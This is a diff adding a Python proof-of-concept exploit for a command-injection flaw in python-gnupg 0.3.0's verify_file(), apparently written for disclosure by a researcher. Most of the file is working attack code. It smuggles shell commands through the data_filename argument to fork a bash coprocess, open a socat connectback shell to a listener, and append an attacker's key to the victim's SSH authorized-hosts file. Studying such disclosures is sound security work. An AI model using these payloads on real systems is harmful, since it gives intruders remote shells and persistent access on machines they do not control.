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+#!/usr/bin/env python
+#-*- coding: utf-8 -*-
+'''
+python-gnupg-exploit.py
+-----------------------
+Remote code execution exploit for python-gnupg-0.3.0 gnupg.GPG.verify_file()
+with a simple connectback call to a waiting server. Written on a train,
+homeless in europe. Eurotrash like hell.
+
+You *absolutely* should run this in a virtualenv, and since this POC only runs
+on localhost, you should probably bring down all other network interfaces
+while playing with it, since by default it forks a connectback shell for every
+TCP connection to localhost:8080.
+
+To run this POC, you should obtain the source for python-gnupg, copy this file
+into the python-gnupg source directory, and then navigate into it:
+
+   $ sudo apt-get source python-gnupg
+   $ cd python-gnupg-0.3.0/
+   $ mv <path/to/this/file> ./
+
+To run the server half, do:
+
+   $ python ./python-gnupg-exploit.py mallory
+
+   it just listens on 8080 on localhost and lets you type stuff or pipe
+whatever you want into the connection. After that, in another terminal, you
+can do:
+
+   $ python ./python-gnupg-exploit.py alice
+
+   to run the the exploit, which connects to your waiting mallory server and
+forks off a shell in a separate process.
+
+You can exploit gpg.GPG.verify_file() by calling it with
+data_filename="\"<your_code>\"" and the inner set of escaped double quotes are
+important. You'll have to be tricky and find ways to not allow your code to
+contain spaces, but it's the default system shell running under the UID and
+GID of the parent caller for Python interpreter. It's even nicely in it's own
+threading.Thread(), provided by gnupg.GPG._collect_output().
+
+@authors: Isis Agora Lovecruft, 0x2cdb8b35
+          All of the other Leap Encryption Access Project Python developers
+@date: 7 February 2013
+@license: WTFPL, see [http://wtfpl.org/]
+@copyright: ? 2013 Isis Lovecruft
+'''
+
+from os         import getcwd, path
+
+import gnupg
+import sys
+
+
+def usage():
+    """Because dying should be about sending a message."""
+    msg  = "You need to download the source for python-gnupg before using this! "
+    msg += "Please try again after placing this file in the python-gnupg-0.3.0/"
+    msg += " directory. See the docstring for this file if you need more help."
+    msg += "\nExiting..."
+    raise SystemExit(msg)
+
+class Alice(object):
+    """Client code."""
+
+    def __init__(self, file=None):
+        here = getcwd()
+        self.gpg = gnupg.GPG(gnupghome=here)
+        self.log = path.join(here, 'alice.log')
+
+        if file is not None:
+            self.file = file
+        else:
+            ## this is probably equivalent to saying "eat your heart out,
+            ## gnupg"...
+            self.file = path.join(getcwd(), 'LICENSE')
+
+    def exploit(self, shellcode=None):
+        """POC example."""
+        bad = None
+        with open(self.file) as worse:
+            bad = self.gpg.verify_file(worse, shellcode)
+        return bad
+
+    def code_exec(self):
+        """This forks a local bash shell."""
+        self.exploit("\"&coproc /bin/bash\"")
+
+    def remote_code_exec(self):
+        """
+        You know that part in The Matrix where Neo is sleeping on his
+        keyboard, and then Trinity types stuff on his terminal? This does
+        that.
+        """
+        client = ("\"&`socat -d -d -d -d -lf " + self.log +
+                  " - TCP-CONNECT:localost:8080,crnl`\"")
+        self.exploit(client)
+
+    def ssh_append(self):
+        """
+        This appends mallory's id_rsa.pub to alice's authorized_hosts file.
+        """
+        append = ("\"&`socat -d -d -d -d -lf " + alice_log +
+                  " OPEN:" + path.expanduser('~/.ssh/authorized_hosts') +
+                  ",creat,append,end-close " +
+                  "TCP-CONNECT:localhost:8080,reuseaddr,retry=3,fork`\"")
+        self.exploit(append)
+
+if __name__ == "__main__":
+
+    ## don't run if they didn't follow the instructions:
+    here = getcwd()
+    if not here.endswith('python-gnupg-0.3.0'):
+        usage()
+    else:
+        print "To run the corresponding listener, in another shell do:\n"
+        print "   $ socat -d -d -d -d -lf mallory.log - \ "
+        print "       TCP-LISTEN:8080,reuseaddr,fork"
+        alice = Alice()
+        alice.remote_code_exec()